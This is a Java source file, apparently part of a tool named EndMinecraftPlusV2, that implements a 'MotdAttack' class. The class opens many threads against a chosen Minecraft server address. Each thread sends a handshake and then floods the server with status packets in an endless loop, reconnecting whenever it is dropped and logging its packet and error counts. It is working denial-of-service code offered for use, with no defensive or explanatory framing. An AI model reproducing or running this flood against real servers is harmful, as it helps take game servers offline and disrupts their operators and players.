77 lines
3.2 KiB
Java
77 lines
3.2 KiB
Java
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
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import java.io.IOException;
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import java.io.OutputStream;
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import java.net.InetSocketAddress;
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import java.net.Socket;
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import java.util.ArrayList;
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import java.util.List;
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public class MotdAttack extends IAttack {
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public List<Thread> threads = new ArrayList<>();
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private int runTimes = 0;
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private int errorTimes = 0;
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public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
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super(ip, port, time, maxconnect, joinsleep);
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}
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public void start() {
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Runnable task = () -> {
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while (true) {
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try {
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Socket socket = new Socket();
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socket.connect(new InetSocketAddress(ip, port));
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if (socket.isConnected()) {
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LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
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OutputStream out = socket.getOutputStream();
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out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
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out.flush();
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while (socket.isConnected()) {
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for (int i = 0; i < 10; i++) {
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SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
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out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
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0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
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runTimes++;
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}
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out.flush();
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}
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try {
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out.close();
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socket.close();
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} catch (IOException ignored) {}
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LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
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OtherUtils.doSleep(attack_joinsleep);
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}
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} catch (Throwable e) {
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if (ConfigUtil.ShowFails) {
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LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
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}
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errorTimes++;
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}
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}
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};
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if (this.attack_maxconnect < 1) {
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this.attack_maxconnect = 10;
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}
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for (int i = 0; i < this.attack_maxconnect; i++) {
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Thread thread = new Thread(task);
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thread.setName(String.valueOf(i + 1));
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thread.start();
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threads.add(thread);
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}
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}
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@SuppressWarnings("deprecation")
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public void stop() {
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threads.forEach(Thread::stop);
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}
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}
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